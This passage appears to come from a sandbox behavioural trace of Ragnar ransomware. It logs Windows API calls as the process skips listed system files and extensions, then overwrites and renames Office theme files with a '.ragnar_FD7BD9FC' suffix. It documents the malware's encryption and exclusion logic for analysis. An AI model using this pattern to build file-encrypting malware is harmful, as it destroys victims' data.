lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.630] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.631] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.631] GetProcessHeap () returned 0x580000 [0094.631] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.631] CloseHandle (hObject=0x98) returned 1 [0094.631] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" [0094.631] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.ragnar_FD7BD9FC" [0094.631] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.632] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0094.632] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.632] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Couture.thmx" | out: lpString1="Couture.thmx") returned="Couture.thmx" [0094.632] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx") returned=".thmx" [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="autorun.inf") returned 1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="boot.ini") returned 1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="bootfont.bin") returned 1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="bootsect.bak") returned 1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="bootmgr") returned 1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="bootmgr.efi") returned 1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="bootmgfw.efi") returned 1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="desktop.ini") returned -1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="iconcache.db") returned -1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="ntldr") returned -1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="ntuser.dat") returned -1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="ntuser.dat.log") returned -1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="ntuser.ini") returned -1 [0094.632] lstrcmpiW (lpString1="Couture.thmx", lpString2="thumbs.db") returned -1 [0094.632] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.632] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.632] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.632] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.632] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.632] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.632] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx")) returned 0x20 [0094.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.633] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=2003652) returned 1 [0094.633] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1e92bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.633] GetProcessHeap () returned 0x580000 [0094.633] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.633] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.635] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0094.635] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.635] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.635] ReadFile (in: hFile=0x98, lpBuffer=0x22c0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1eba0c*=0x100000, lpOverlapped=0x0) returned 1 [0094.655] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.661] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100000, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.661] WriteFile (in: hFile=0x98, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1eba08*=0x100000, lpOverlapped=0x0) returned 1 [0094.663] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.663] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.668] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1e92c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.668] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.668] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.668] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.668] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.669] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.669] GetProcessHeap () returned 0x580000 [0094.669] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.669] CloseHandle (hObject=0x98) returned 1 [0094.669] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" [0094.669] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.ragnar_FD7BD9FC" [0094.669] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.670] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0094.670] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.670] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Elemental.thmx" | out: lpString1="Elemental.thmx") returned="Elemental.thmx" [0094.670] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx") returned=".thmx" [0094.670] lstrcmpiW (lpString1="Elemental.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.670] lstrcmpiW (lpString1="Elemental.thmx", lpString2="autorun.inf") returned 1 [0094.670] lstrcmpiW (lpString1="Elemental.thmx", lpString2="boot.ini") returned 1 [0094.670] lstrcmpiW (lpString1="Elemental.thmx", lpString2="bootfont.bin") returned 1 [0094.670] lstrcmpiW (lpString1="Elemental.thmx", lpString2="bootsect.bak") returned 1 [0094.670] lstrcmpiW (lpString1="Elemental.thmx", lpString2="bootmgr") returned 1 [0094.670] lstrcmpiW (lpString1="Elemental.thmx", lpString2="bootmgr.efi") returned 1 [0094.671] lstrcmpiW (lpString1="Elemental.thmx", lpString2="bootmgfw.efi") returned 1 [0094.671] lstrcmpiW (lpString1="Elemental.thmx", lpString2="desktop.ini") returned 1 [0094.671] lstrcmpiW (lpString1="Elemental.thmx", lpString2="iconcache.db") returned -1 [0094.671] lstrcmpiW (lpString1="Elemental.thmx", lpString2="ntldr") returned -1 [0094.671] lstrcmpiW (lpString1="Elemental.thmx", lpString2="ntuser.dat") returned -1 [0094.671] lstrcmpiW (lpString1="Elemental.thmx", lpString2="ntuser.dat.log") returned -1 [0094.671] lstrcmpiW (lpString1="Elemental.thmx", lpString2="ntuser.ini") returned -1 [0094.671] lstrcmpiW (lpString1="Elemental.thmx", lpString2="thumbs.db") returned -1 [0094.671] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.671] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.671] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.671] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.671] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.671] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.671] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx")) returned 0x20 [0094.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.672] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=349663) returned 1 [0094.672] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x555d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.672] GetProcessHeap () returned 0x580000 [0094.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.672] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.673] VirtualAlloc (lpAddress=0x0, dwSize=0x555df, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0094.674] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.674] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.674] ReadFile (in: hFile=0x98, lpBuffer=0x480000, nNumberOfBytesToRead=0x555df, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1eba0c*=0x555df, lpOverlapped=0x0) returned 1 [0094.681] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.683] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x555df, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.683] WriteFile (in: hFile=0x98, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x555df, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1eba08*=0x555df, lpOverlapped=0x0) returned 1 [0094.684] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x555df, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.684] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.686] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x555df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.686] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.686] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.686] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.686] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.686] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.686] GetProcessHeap () returned 0x580000 [0094.686] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.686] CloseHandle (hObject=0x98) returned 1 [0094.686] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" [0094.686] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.ragnar_FD7BD9FC" [0094.686] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.687] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0094.687] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.687] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Equity.thmx" | out: lpString1="Equity.thmx") returned="Equity.thmx" [0094.687] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx") returned=".thmx" [0094.687] lstrcmpiW (lpString1="Equity.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="autorun.inf") returned 1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="boot.ini") returned 1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="bootfont.bin") returned 1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="bootsect.bak") returned 1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="bootmgr") returned 1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="bootmgr.efi") returned 1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="bootmgfw.efi") returned 1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="desktop.ini") returned 1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="iconcache.db") returned -1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="ntldr") returned -1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="ntuser.dat") returned -1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="ntuser.dat.log") returned -1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="ntuser.ini") returned -1 [0094.688] lstrcmpiW (lpString1="Equity.thmx", lpString2="thumbs.db") returned -1 [0094.688] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.688] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.688] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.688] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.688] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.688] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.688] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx")) returned 0x20 [0094.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.689] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=69473) returned 1 [0094.689] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x10f58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.689] GetProcessHeap () returned 0x580000 [0094.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.689] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.692] VirtualAlloc (lpAddress=0x0, dwSize=0x10f61, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.692] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.692] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.692] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10f61, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x10f61, lpOverlapped=0x0) returned 1 [0094.694] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.695] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10f61, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.695] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10f61, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x10f61, lpOverlapped=0x0) returned 1 [0094.695] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10f61, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.695] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.696] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x10f61, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.696] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.696] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.696] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.696] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.696] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.696] GetProcessHeap () returned 0x580000 [0094.696] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.696] CloseHandle (hObject=0x98) returned 1 [0094.696] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" [0094.696] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.ragnar_FD7BD9FC" [0094.696] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 